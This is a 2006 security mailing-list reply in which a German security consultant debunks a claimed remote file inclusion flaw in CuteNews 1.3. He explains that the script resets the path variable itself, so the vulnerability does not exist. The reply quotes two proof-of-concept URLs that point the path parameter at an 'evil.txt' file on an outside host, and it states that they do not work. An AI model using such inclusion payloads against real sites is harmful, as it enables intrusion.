Hi,
stormhacker@xxxxxxxxxxx schrieb am Fri, 25 Aug 2006 19:14:46 +0000:
>Vendor: CuteNews 1.3.*
>
>-----------------Description---------------
>
>
>$cutepath = __FILE__;
Here $cutepath is set to the path of this script
>$cutepath = preg_replace( "'\\\search\.php'", "", $cutepath);
>
>$cutepath = preg_replace( "'/search\.php'", "", $cutepath);
Now the name of the script, search.php, is removed.
As result $cutepath contains the patch to the directory
of search.php...
>require_once("$cutepath/inc/functions.inc.php");
...from where inc/functions.inc.php is included.
Same for show_news.php.
So where is a vulnerability?
>--------------PoC/Exploit----------------------
>
>
>show_news.php?cutepath=http://host/evil.txt?
>
>search.php?cutepath=http://host/evil.txt?
They don't work
>--------------Solution---------------------
>
>
>No Patch available.
No patch necessary.
>--------------Credit-----------------------
>
>
>Discovered by: rUnViRuS (worlddefacers.de)
Credit for what? A non-existing vulnerability?
OK: Applaus, applaus, applaus... ;-)
Regards
Carsten
--
Dipl.-Inform. Carsten Eilers
IT-Sicherheit und Datenschutz
<http://www.ceilers-it.de>
